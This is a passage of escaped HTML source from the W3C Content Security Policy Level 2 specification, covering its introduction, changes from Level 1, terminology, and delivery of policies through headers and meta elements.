<span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li><a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n   </ul></div>\n\n  <main>\n\n\n\n\n\n\n\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n\n\n    <p><em>This section is not normative.</em></p>\n\n\n    <p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n\n    <p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n\n    <p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n\n    <p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n\n    <p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"changes-from-level-1\"><span class=\"secno\">1.1. </span><span class=\"content\">Changes from Level 1</span><a class=\"self-link\" href=\"#changes-from-level-1\"></a></h3>\n\n\n    <p>This document describes an evolution of the\n  <a href=\"http://www.w3.org/TR/CSP/\">Content Security Policy specification</a>.\n  Level 2 makes two breaking changes from Level 1, and adds support for a number\n  of new directives and capabilities which are summarized below:</p>\n\n  \n    <ol>\n    \n     <li>\n      The following changes are backwards incompatible with the majority of\n      user agent’s implementations of CSP 1:\n\n      \n      <ol>\n        \n       <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          <a href=\"#source-list-paths-and-redirects\">§4.2.2.3 Paths and Redirects</a>.\n\n\n        <p class=\"note\" role=\"note\">Note: Paths are technically new in CSP2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.</p>\n        \n        \n       \n        \n       <li>\n          A <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>’s ability to load Workers is now controlled\n          via <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> rather than\n          <a data-link-type=\"dfn\" href=\"#script_src\"><code>script-src</code></a>.\n        \n       \n        \n       <li>\n          Workers now have their own policy, separate from the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a> which loaded them. This is described in\n          <a href=\"#processing-model-workers\">§5.1 Workers</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      The following directives are brand new in this revision:\n\n      \n      <ol>\n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#base_uri\"><code>base-uri</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base\n          URL</a>.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> deprecates and replaces\n          <a data-link-type=\"dfn\" href=\"#frame_src\"><code>frame-src</code></a>, controlling the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to embed frames, and to load Workers.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#form_action\"><code>form-action</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to submit forms.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#frame_ancestors\"><code>frame-ancestors</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#plugin_types\"><code>plugin-types</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to load specific types of plugins.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in <a href=\"#source-list-valid-nonces\">§4.2.4 Valid Nonces</a>) and hashes (as described\n      in <a href=\"#source-list-valid-hashes\">§4.2.5 Valid Hashes</a>).\n    \n     \n    \n     <li>\n      A <code>CSP</code> request header is now sent with relevant requests, as\n      described in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>.\n    \n     \n    \n     <li>\n      A <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> is fired upon violations, as described\n      in <a href=\"#firing-securitypolicyviolationevent-events\">§6.3 Firing Violation Events</a>.\n    \n     \n    \n     <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a data-link-type=\"dfn\" href=\"#report_uri\"><code>report-uri</code></a>, and those handed to the DOM via\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> events. These include\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code>, and\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code>.\n    \n     \n    \n     <li>\n      Certain flags present in the <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive now\n      affect Worker creation, as described in <a href=\"#sandboxing-and-workers\">§7.14.1 Sandboxing and Workers</a>.\n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"2\" id=\"key-concepts\"><span class=\"secno\">2. </span><span class=\"content\">Key Concepts and Terminology</span><a class=\"self-link\" href=\"#key-concepts\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"terms-defined-here\"><span class=\"secno\">2.1. </span><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#terms-defined-here\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policy\" id=\"security-policy\">security policy<a class=\"self-link\" href=\"#security-policy\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive\" id=\"security-policy-directive\">security policy directive<a class=\"self-link\" href=\"#security-policy-directive\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive name\" id=\"security-policy-directive-name\">security policy directive name<a class=\"self-link\" href=\"#security-policy-directive-name\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive value\" id=\"security-policy-directive-value\">security policy directive value<a class=\"self-link\" href=\"#security-policy-directive-value\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <strong>security policy</strong> refers to both a set of security\n      preferences for restrictions within which content can operate, and\n      to a fragment of text that codifies or transmits these preferences.\n      For example, the following string is a policy which restricts script\n      and object content:\n\n      \n      <div class=\"example\" id=\"example-f8c8229d\"><a class=\"self-link\" href=\"#example-f8c8229d\"></a>\n        <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> 'none'</code>\n      </div>\n      \n\n\n      <p>Security policies contain a set of <strong>security policy\n      directives</strong> (<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n      <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> in the example above), each responsible\n      for declaring the restrictions for a particular resource type, or\n      manipulating a specific aspect of the policy’s restrictions. The list\n      of directives defined by this specification can be found in\n      <a href=\"#directives\">§7 Directives</a>.</p>\n      \n\n\n      <p>Each directives has a <strong>name</strong> and a <strong>value</strong>;\n      a detailed grammar can be found in <a href=\"#syntax-and-algorithms\">§4 Syntax and Algorithms</a>.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"protected-resource\">protected resource<a class=\"self-link\" href=\"#protected-resource\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <a data-link-type=\"dfn\" href=\"#security-policy\">security policy</a> is applied by a user agent to a specific\n      <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>, known as the <strong>protected\n      resource</strong>. See <a href=\"#policy-delivery\">§3 Policy Delivery</a> for details regarding\n      the mechanisms by which policies may be applied to a protected\n      resource.\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"terms-defined-by-reference\"><span class=\"secno\">2.2. </span><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#terms-defined-by-reference\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"globally-unique-identifier\">globally unique identifier<a class=\"self-link\" href=\"#globally-unique-identifier\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc6454#section-2.3\">Section 2.3 of\n      the Origin specification</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n\n\n      <p class=\"note\" role=\"note\">NOTE: URLs which do not use hierarchical elements as naming authorities\n      (<code>data:</code>, for instance) have <a data-link-type=\"dfn\" href=\"#origin\">origins</a> which are globally\n      unique identifiers.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"http-200-response\">HTTP 200 response<a class=\"self-link\" href=\"#http-200-response\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc7231#section-6.3.1\">Section\n      6.3.1 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-object\">JSON object<a class=\"self-link\" href=\"#json-object\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"json-stringification\">JSON stringification<a class=\"self-link\" href=\"#json-stringification\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in the JSON specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc4627\">[RFC4627]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"origin\">origin<a class=\"self-link\" href=\"#origin\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by the Origin specification. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-local-lt=\"representation\" data-noexport=\"\" id=\"resource-representation\">resource representation<a class=\"self-link\" href=\"#resource-representation\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in <a href=\"https://tools.ietf.org/html/rfc7231#section-3\">Section\n      3 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"url\">URL<a class=\"self-link\" href=\"#url\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined by <a data-link-type=\"biblio\" href=\"#biblio-url\">[URL]</a>.\n    \n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_256\">SHA-256<a class=\"self-link\" href=\"#sha_256\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_384\">SHA-384<a class=\"self-link\" href=\"#sha_384\"></a></dfn>\n     \n    \n     <dt><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sha_512\">SHA-512<a class=\"self-link\" href=\"#sha_512\"></a></dfn>\n     \n    \n     <dd>\n      These digest algorithms are defined by the NIST. <a data-link-type=\"biblio\" href=\"#biblio-sha2\">[SHA2]</a>\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"html-concepts\"><span class=\"secno\">2.3. </span><span class=\"content\">Relevant Concepts from HTML</span><a class=\"self-link\" href=\"#html-concepts\"></a></h3>\n\n\n    <p>The <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>,\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code>, and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> are defined in\n  <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>.</p>\n\n\n    <p>The terms <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context\">auxiliary browsing contexts</a>,\n  <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>, and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>A <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined in the HTML5 specification. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n\n\n    <p>The <code>&lt;&lt;@font-face>></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-link-type=\"biblio\" href=\"#biblio-css3-fonts\">[CSS3-FONTS]</a></p>\n\n\n    <p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-link-type=\"biblio\" href=\"#biblio-xmlhttprequest\">[XMLHTTPREQUEST]</a></p>\n\n\n    <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a></p>\n\n\n    <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a></p>\n\n\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"runs-a-worker\">runs a worker<a class=\"self-link\" href=\"#runs-a-worker\"></a></dfn> algorithm is\n  <a href=\"http://www.w3.org/TR/workers/#run-a-worker\">defined in the Web\n  Workers spec</a>. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a></p>\n\n\n    <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callable\">callable<a class=\"self-link\" href=\"#callable\"></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"callers\">callers<a class=\"self-link\" href=\"#callers\"></a></dfn> as defined in the <a href=\"http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers\">Web\n  IDL</a> specification <a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WEBIDL]</a>.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.4\" id=\"grammar\"><span class=\"secno\">2.4. </span><span class=\"content\">Grammatical Concepts</span><a class=\"self-link\" href=\"#grammar\"></a></h3>\n\n\n    <p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a></p>\n\n\n    <p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=\"https://tools.ietf.org/html/rfc7230#section-7\">Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a></p>\n\n\n    <p>The following core rules are included by reference, as defined in\n  <a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">Appendix B.1</a>\n  of <a data-link-type=\"biblio\" href=\"#biblio-abnf\">[ABNF]</a>: <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"alpha\">ALPHA<a class=\"self-link\" href=\"#alpha\"></a></dfn></code> (letters),\n  <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digit\">DIGIT<a class=\"self-link\" href=\"#digit\"></a></dfn></code> (decimal 0-9), <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"wsp\">WSP<a class=\"self-link\" href=\"#wsp\"></a></dfn></code>\n  (white space) and <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"vchar\">VCHAR<a class=\"self-link\" href=\"#vchar\"></a></dfn></code> (printing characters).</p>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\">Policy Delivery</span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n\n\n    <p>The server delivers a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> to the user agent via an HTTP response\n  header (defined in <a href=\"#content-security-policy-header-field\">§3.1 \n      Content-Security-Policy Header Field</a> and\n  <a href=\"#content-security-policy-report-only-header-field\">§3.2 \n      Content-Security-Policy-Report-Only Header Field</a>) or an HTML\n  <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element (defined in <a href=\"#delivery-html-meta-element\">§3.3 \n      HTML meta Element</a>).</p>\n\n\n    <p>Servers are informed that requests are coming from a <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>\n  via an HTTP request header (defined in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>).</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.1\" id=\"content-security-policy-header-field\"><span class=\"secno\">3.1. </span><span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy\">Content-Security-Policy<a class=\"self-link\" href=\"#content_security_policy\"></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, a response might include the following header field:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-be526382\"><a class=\"self-link\" href=\"#example-be526382\"></a>\n      <code>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'</code>\n    </div>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given <a data-link-type=\"dfn\" href=\"#resource-representation\">resource\n    representation</a>.</p>\n     \n\n\n     <p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same\n    resource or with different resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> each of the policies contained in each such\n    header field.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.2\" id=\"content-security-policy-report-only-header-field\"><span class=\"secno\">3.2. </span><span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=\"self-link\" href=\"#content-security-policy-report-only-header-field\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"content_security_policy_report_only\">Content-Security-Policy-Report-Only<a class=\"self-link\" href=\"#content_security_policy_report_only\"></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy. The grammar is as follows:</p>\n     \n\n    \n     <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=\"dfn\" href=\"#policy_token\">policy-token</a>\n</pre>\n     \n\n\n     <p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n     \n\n    \n     <div class=\"example\" id=\"example-77886cbd\"><a class=\"self-link\" href=\"#example-77886cbd\"></a>\n      \n      <pre>Content-Security-Policy-Report-Only: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self';\n                                     <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> /csp-report-endpoint/\n</pre>\n      \n    \n     </div>\n     \n\n\n     <p>If their site violates this policy the user agent will <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n    reports</a> to the URL specified in the policy’s <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header field.</p>\n     \n\n\n     <p>A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>.</p>\n     \n\n\n     <p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different <a data-link-type=\"dfn\" href=\"#resource-representation\">representations</a> of the same resource or with different\n    resources.</p>\n     \n\n\n     <p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> each of the policies\n    contained in each such header field.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"3.3\" id=\"delivery-html-meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\">\n      HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> Element\n    </span><a class=\"self-link\" href=\"#delivery-html-meta-element\"></a></h3>\n     \n\n\n     <p>The server MAY supply policy via one or more HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements\n    with <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attributes that are an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n    match</a> for the string \"<code>Content-Security-Policy</code>\". For\n    example:</p>\n     \n\n    \n     <pre class=\"example\" id=\"example-ff79af85\"><a class=\"self-link\" href=\"#example-ff79af85\"></a>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"<a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'\">\n</pre>\n     \n\n\n     <p>Add the following entry to the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/document-metadata.html#pragma-directives\">pragma directives</a> for the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>\n    element:</p>\n     \n\n    \n     <dl>\n      \n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      \n      \n      \n      <dd>\n        \n       <ol>\n          \n        <li>If the Document’s <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-head-element\">head</a></code> element is not an ancestor of the\n          <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element, abort these steps.\n        \n\n          \n        <li>If the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element lacks a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute, abort\n          these steps.\n        \n\n          \n        <li>Let <var>policy</var> be the value of the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code>\n          attribute of the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.\n        \n\n          \n        <li>Let <var>directive-set</var> be the result of\n          <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parsing <var>policy</var></a>.\n        \n\n          \n        <li>\n            Remove all occurrences of <code><a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a></code>,\n            <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code>, and <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code>\n            directives from <var>directive-set</var>.\n\n\n         <p class=\"note\" role=\"note\">Note: User agents are encouraged to issue a warning to developers\n            if one or more of these directives are included in a policy\n            delivered via <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>.</p>\n         \n          \n        \n\n          \n        <li>Enforce each of the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directives</a> in <var>directive-set</var>,\n          as <a href=\"#directives\">defined for each directive type</a>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </dl>\n     \n\n\n     <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements as early\n    in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements are not\n    applied to content which preceeds them. In particular, note that resources\n    fetched or prefetched using the <code>Link</code> HTTP response header\n    field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code>\n    elements which preceed a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>-delivered policy will not be blocked.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: A <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> specified via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element will be enforced\n    along with any other policies active for the protected resource, regardless\n    of where they’re specified. The general impact of enforcing multiple\n    policies is described in <a href=\"#enforcing-multiple-policies\">§3.5 Enforcing multiple policies.</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Modifications to the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element\n    after the element has been parsed will be ignored.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported 